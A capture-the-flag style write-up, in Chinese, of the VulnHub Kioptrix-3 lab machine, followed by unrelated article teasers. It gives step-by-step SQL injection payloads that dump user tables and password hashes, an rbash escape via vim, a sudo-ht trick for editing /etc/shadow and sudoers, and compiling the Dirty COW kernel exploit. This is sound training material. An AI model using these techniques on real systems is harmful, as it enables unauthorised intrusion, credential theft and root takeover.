vulnhub靶场【kioptrix-3】靶机

news2025/1/27 7:07:16

前言

靶机:kioptrix-3,IP地址为192.168.1.74

攻击:kali,IP地址为192.168.1.16

都采用虚拟机,网卡为桥接模式

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载https://pan.quark.cn/s/1f8bfb170c6d

在这里解压靶机后,会有一个readme.txt文件,查看该文件,提示是需要进行ip和域名的绑定

kali中修改/etc/hosts文件即可,在windows中修改C:\Windows\System32\Drivers\etc\hosts文件即可

这里是修改windows文件,因为前面都是修改的kali文件,不能把windows也忘了

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

nmap -sV -O 192.168.1.74 -p- -T4

网站信息探测

访问80端口界面,发现三个功能点,home指向index.php?page=bloglogin指向index.php?system=

查看页面源代码后,发现脚本语言为php,并且是目录型网站,且发现几个地址链接

访问blog,这就是一个博客

访问login,发现是登录界面,尝试之前的万能密码进行测试,发现是不行的,不过这里还是可以看到产品的出处,也就是cmslotusCMS

那么暂且搁置,还有一个目录没有访问查看呢

访问gallery,这个界面的内容挺多

尝试进行测试吧,发现点击ligoat press room时,其中的功能多了很多,并且出现php传参id,这个可以进行模糊测试,先以最简单的测试,看有无注入点

sql注入获取账户密码

尝试以sql注入的判断,以'进行闭合,发现出现报错,那么可能存在sql注入,并且数据库类型为mysql

进一步测试,确定为数字型的注入

?id=1 or 1=1--+
?id=1 and 1=1--+
?id=1 and 1=2--+

尝试构造语句,先测试联合查询是否可行,毕竟这个是比较省事的。

首先确定显示列数,可以借助order by

?id=1 order by 6

这里的数字6是经过回显不同确定的

确定列数为6,那么就构造联合查询

?id=-1 union select 1,2,3,4,5,6 --+

//对于靶机来说,数字1-6代表是可以,不过大部分时候,就算真的存在sql注入,也是并非这样
//而是需要对应类型,所以大部分时候,也是以null进行代表,然后猜测每一个类型是字符还是数字
?id=-1 union select 1,null,null,null,null,null --+

可以看到,在2,3位是有回显的

尝试构造语句,来获取当前数据库名称,数据库用户,数据库版本信息

?id=-1 union select 1,concat(database(),'|',version(),'|',user()),3,4,5,6 --+

获取到信息,数据库gallery,数据库版本是5.0之后,具有information_schema这个表,并且确定concat是可用的

那么尝试从information_schema中查询gallery中的一些数据,因为一般可能当前使用的数据库中有信息,当然肯定还是其他数据库也是有信息的,不过这里先测试这个

?id=-1 union select 1,concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+

发现这个表,那么就测试这个表中的元组

?id=-1 union select 1,concat(column_name),3,4,5,6 from information_schema.columns where table_name='gallarific_users'--+

这两个就很是吸引人了,直接就尝试获取

?id=-1 union select 1,concat(username,'|',password),3,4,5,6 from gallarific_users--+

用户名admin和密码n0t7t1k4

结合前面login目录,推测应该可以登录,访问login,并进行测试,不过并非,那么可能漏了数据,返回继续收集

在前面某处有一个表名是dev_accounts,不过当时没关注,其中accounts是账户的意思,结合dev,推测是靶机内的账户

?id=-1 union select 1,concat(column_name),3,4,5,6 from information_schema.columns where table_name='dev_accounts'--+

?id=-1 union select 1,concat(username,'|',password),3,4,5,6 from dev_accounts--+

用户名密码(md5加密)解密密码
dreg0d3eccfb887aabd50f243b3f155c0f85Mast3r
loneferret5badcaf789d3d1d09794d8f021f40f0estarwars

可以发现这里的密码应该是进行加密,并且挺像md5加密的,假设就是,尝试进行破解即可,可借助john爆破,或者使用在线网站识别

rbash逃逸

那么直接测试是否可连接ssh,发现可以登录

尝试cd,发现具有rbash,没办法有更完整的功能

输入help,发现有compgen命令可用

常见的rbash逃逸方法有很多,这里通过compgen测试有无vim

compgen -c | grep vim

那么随便vim编辑一个文件,然后尝试进行rbash逃逸

vim 1

按着esc,然后输入 :
:set shell=/bin/bash
:shell

即可逃逸成功

还有其他方式,如最简单的,若是可以使用bash,则可以直接逃逸

可自行ai搜索,或者参考一些博主的文章

提权

借助sudo提权

使用find寻找具有SUID权限的文件,发现sudo,尝试列出有无文件可用,但是发现当前用户不行

find / -perm -u=s -type f 2>/dev/null

那么切换到用户loneferret,直接通过su切换即可,既然是新用户,查看当前目录下的一些文件,发现都指向ht

测试sudo -l,发现虽然有一个文件,说是对于除su以外的都可以执行,但是测试后,根本不行

那么还是从ht下手,直接sudo,发现报错

可以自行ai搜索是什么意思,这里可以设置临时变量

export TERM=xterm
sudo /usr/local/bin/ht

或者

sudo TERM=xterm ht

这就是打开后的界面

这里的操作方式,可以通过alt+f打开左上角的file菜单,其余的同样,都是alt+红色开头字母,可与打开对应的菜单,按esc退出菜单

这里因为这个ht是通过sudo打开的,所以可以通过这个打开一些无法打开的文件,如/etc/shadow

打开file菜单后,选择open,然后按着tab键盘,这时候就会切换到files,这里可以切换目录

这里就可以尝试使用john进行爆破,不过这里肯定耗时间,毕竟还不知道加密方式

并且,这里还是可以修改的,所以还可以修改sudoers文件

打开后,添加一行,因为涉及到修改,所以需要保存,在alt+f后,有save按钮,然后按f10即可退出

loneferret ALL=(ALL) NOPASSWD:ALL
#对于loneferret用户,可以通过sudo执行所有,并且不需要输入密码

再次sudo -l查看,可以发现修改成功,这时候就可以使用sudo为所欲为了

这里还可以在kali生成公私钥,然后去/root目录下,在.ssh目录下,添加一个文件,然后把生成的公钥复制到新文件authorized_keys即可,这里是确认在/root下有.ssh目录的

通过系统内核提权

在靶机测试内核版本等信息

uname -a
uname -r 
cat /etc/*release
cat /etc/issue

这个内核范围是在脏牛提权的范围内的,只是对于使用哪一个有待测试

测试过后,发现对于40839.c是可以的,当然这里还可以借助脚本工具les.sh或者叫linux-exploit-suggester.sh

这里在github的地址如下:

https://github.com/The-Z-Labs/linux-exploit-suggester

这是在kali中指定靶机的uname -a信息分析出最有可能的提权漏洞,也就是脏牛,并且这里还缩小范围了

提权过程就是把40839.c文件下载到靶机内的/tmp目录,然后进行编译,可以查看该文件,其中是有用法的

gcc -pthread 40839.c -o dirty -lcrypt
./dirty my-new-password
su firefart

编译后执行,然后切换到用户firefart,密码就是自己设置的,即可提权

总结

该靶机考察以下几点:

  1. 网站功能测试,能点的都点了进行测试,最好是抓包分析,这里可通过浏览器抓包或者burp抓包都行,这里的靶机肉眼可见,就无需抓包
  2. 对于注入点能否找到并且测试,现在其实都放置在一个字典中,然后进行模糊测试某一个传参等方式
  3. 基本的sql注入要会,这里虽然我只用了联合查询,但是其他方式难道不行吗,比如延时注入、布尔注入
  4. 对于mysql数据库的基本构造要知道,这里是information_schema数据库的重点,当然其他数据库也要去了解
  5. 对于rbash逃逸,方法众多,不要局限,这里最终无法逃逸,还是可以切换用户的,这个主要就是练习
  6. 对于提权方法,这里是通过命令历史查看或者sudo -l都是可以发现第三方软件,并且初步测试该软件的功能,要快速知道该软件有无可利用点
  7. 提权方式,内核版本也是重要的,这里脏牛提权

这里其实前面有很多步骤都没有写,因为我是测试过,当时觉得并无内容,不重要,但是还是在这里写一下吧,毕竟要养成一个习惯

  1. 目录扫描爆破,这里其实发现了phpmyadmin界面,可以在这里进行爆破测试。主要就是不要忘记目录爆破,这个可能会取得意想不到的内容

  2. CMS漏洞,这里不要忘记搜索并测试,这种很重要,不过这里我是搜索并测试无用后,所以就没有记录。但是一定要知道这个重要的方式

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2283279.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

无人机 PX4 飞控 | PX4源码添加自定义参数方法并用QGC显示与调整

无人机 PX4 飞控 | PX4源码添加自定义参数方法并用QGC显示与调整 0 前言 之前文章添加了一个自定义的模块,本篇文章在之前的自定义模块中,添加两个自定义参数 使用QGC显示出来,并通过QGC调整参数值,代码实现参数更新 新增的参…

【Linux】华为服务器使用U盘安装统信操作系统

目录 一、准备工作 1.1 下载UOS官方系统 1.2制作启动U盘 1.3 服务器智能管理系统iBMC 二、iBMC设置U盘启动 一、准备工作 1.1 下载UOS官方系统 服务器CPU的架构是x86-64还是aarch64),地址:统信UOS生态社区 - 打造操作系统创…

npm常见报错整理

npm install时报UNMET PEER DEPENDENCY 现象 npm install时报UNMET PEER DEPENDENCY,且执行npm install好几遍仍报这个。 原因 不是真的缺少某个包,而是安装的依赖版本不对,警告你应该安装某一个版本。 真的缺少某个包。 解决 看了下package.json文件,我的react是有的…

在宝塔安装部署mindoc

MinDoc简介 MinDoc 是一款针对IT团队开发的简单好用的文档管理系统。 MinDoc 的前身是 SmartWiki 文档系统。SmartWiki 是基于 PHP 框架 laravel 开发的一款文档管理系统。因 PHP 的部署对普通用户来说太复杂,所以改用 Golang 开发。可以方便用户部署和实用。 开…

蓝桥杯练习日常|递归-进制转换

蓝桥云课760数的计算 一、递归 题目&#xff1a; 我的解题代码&#xff1a; #include <iostream> using namespace std; int sum0; int main() {// 请在此输入您的代码int n;cin>>n;int fun(int n);fun(n); cout<<sum<<\n;return 0; } // void fu…

什么是CIDR技术? 它是如何解决路由缩放问题的

什么是CIDR技术&#xff1f; 它是如何解决路由缩放问题的 一. 什么是 CIDR&#xff1f;二. CIDR 是如何工作的&#xff1f;1. 高效地址分配2. 路由聚合&#xff08;Route Aggregation&#xff09;3. 精确满足需求 三. CIDR 的计算详解1. 子网掩码计算2. 地址范围计算3. 可用 IP…

单片机内存管理剖析

一、概述 在单片机系统中&#xff0c;内存资源通常是有限的&#xff0c;因此高效的内存管理至关重要。合理地分配和使用内存可以提高系统的性能和稳定性&#xff0c;避免内存泄漏和碎片化问题。单片机的内存主要包括程序存储器&#xff08;如 Flash&#xff09;和数据存储器&a…

Qt简单迷宫游戏

目录 你将学到你将准备你将改变你将设计你将编程开始界面游玩界面胜利界面其它bug修复 你可扩展下一篇博客要说的东西 你将学到 Qt中QKeySequence对象的基本创建Qt中QShortcut对象的基本应用Qt中QSoundEffect对象的基本应用 你将准备 在开始制作Qt简单迷宫游戏之前&#xff…

Ansys Thermal Desktop 概述

介绍 Thermal Desktop 是一种用于热分析和流体分析的通用工具。它可用于组件或系统级分析。 来源&#xff1a;CRTech 历史 Thermal Desktop 由 C&R Technologies (CR Tech) 开发。它采用了 SINDA/FLUINT 求解器。SINDA/FLUINT 最初由 CR Tech 的创始人为 NASA 的约翰逊航…

WPF基础 | WPF 基础概念全解析:布局、控件与事件

WPF基础 | WPF 基础概念全解析&#xff1a;布局、控件与事件 一、前言二、WPF 布局系统2.1 布局的重要性与基本原理2.2 常见布局面板2.3 布局的测量与排列过程 三、WPF 控件3.1 控件概述与分类3.2 常见控件的属性、方法与事件3.3 自定义控件 四、WPF 事件4.1 路由事件概述4.2 事…

西门子【Library of General Functions (LGF) for SIMATIC S7-1200 / S7-1500】

文章目录 概要整体架构流程技术名词解释技术细节小结 概要 通用函数库 (LGF) 扩展了 TIA Portal 中用于 PLC 编程的 STEP 7 指令&#xff08;数学函数、时间、计数器 等&#xff09;。该库可以不受限制地使用&#xff0c;并包含 FIFO 、搜索功能、矩阵计算、 astro 计…

Android实战经验篇-AndroidScrcpyClient投屏一

系列文章转如下链接&#xff1a; Android Display Graphics系列文章-汇总 Android实战经验篇-系列文章汇总 本文主要包括部分&#xff1a; 一、方案说明 1.1 适用场景 1.2 方案框架 二、功能演示 2.1 环境准备 2.2 演示 一、方案说明 1.1 适用场景 优秀的开源的scrc…

从 Spark 到 StarRocks:实现58同城湖仓一体架构的高效转型

作者&#xff1a;王世发&#xff0c;吴艳兴等&#xff0c;58同城数据架构部 导读&#xff1a; 本文介绍了58同城在其数据探查平台中引入StarRocks的实践&#xff0c;旨在提升实时查询性能。在面对传统Spark和Hive架构的性能瓶颈时&#xff0c;58同城选择StarRocks作为加速引擎&…

wangEditor富文本编辑器,Laravel上传图片配置和使用

文章目录 前言步骤1. 构造好前端模版2. 搭建后端存储3. 调试 前言 由于最近写项目需要使用富文本编辑器&#xff0c;使用的是VUE3.0版本所以很多不兼容&#xff0c;实际测试以后推荐使用wangEditor 步骤 构造好前端模版搭建后端存储调试 1. 构造好前端模版 安装模版 模版安…

【MySQL】我在广州学Mysql 系列——MySQL用户管理详解

ℹ️大家好&#xff0c;我是练小杰&#xff0c;本博客是春节前最后一篇了&#xff0c;在此感谢大佬们今年的支持&#xff01;&#xff01;&#x1f64f;&#x1f64f; 接下来将学习MYSQL用户管理的相关概念以及命令~~ 回顾&#xff1a;&#x1f449;【MYSQL触发器的使用】 数据…

2025年数学建模美赛 A题分析(3)楼梯使用方向偏好模型

2025年数学建模美赛 A题分析&#xff08;1&#xff09;Testing Time: The Constant Wear On Stairs 2025年数学建模美赛 A题分析&#xff08;2&#xff09;楼梯磨损分析模型 2025年数学建模美赛 A题分析&#xff08;3&#xff09;楼梯使用方向偏好模型 2025年数学建模美赛 A题分…

Spring Security(maven项目) 3.0.2.7版本

通过实践而发现真理&#xff0c;又通过实践而证实真理和发展真理。从感性认识而能动地发展到理性认识&#xff0c;又从理性认识而能动地指导革命实践&#xff0c;改造主观世界和客观世界。实践、认识、再实践、再认识&#xff0c;这种形式&#xff0c;循环往复以至无穷&#xf…

【二叉树】4. 判断一颗二叉树是否是平衡二叉树。5. 对称二叉树。6. 二叉树的构建及遍历 7. 二叉树的分层遍历 。

判断一颗二叉树是否是平衡二叉树。OJ链接 可以在求树高度的过程中判断树是否平衡 对称二叉树。OJ链接 二叉树的构建及遍历。OJ链接 注意&#xff1a;public static int i最好把static去掉 否则当有多个测试用例时 i无法重新为0二叉树的分层遍历 。OJ链接 但此题要求返回List…

Java如何实现反转义

Java如何实现反转义 前提 最近做的一个需求&#xff0c;是热搜词增加换一批的功能。功能做完自测后&#xff0c;交给了测试伙伴&#xff0c;但是测试第二天后就提了一个bug&#xff0c;出现了未知词 levis。第一眼看着像公司售卖的一个品牌-李维斯。然后再扒前人写的代码&…

“大模型横扫千军”背后的大数据挖掘--浅谈MapReduce

文章目录 O 背景知识1 数据挖掘2 邦费罗尼原则3 TF.IDF4 哈希函数5 分布式文件系统 一、MapReduce基本介绍1. Map 任务2. 按键分组3. Reduce 任务4. 节点失效处理5.小测验&#xff1a;在一个大型语料库上有100个map任务和若干reduce任务&#xff1a; 二、基于MapReduce的基本运…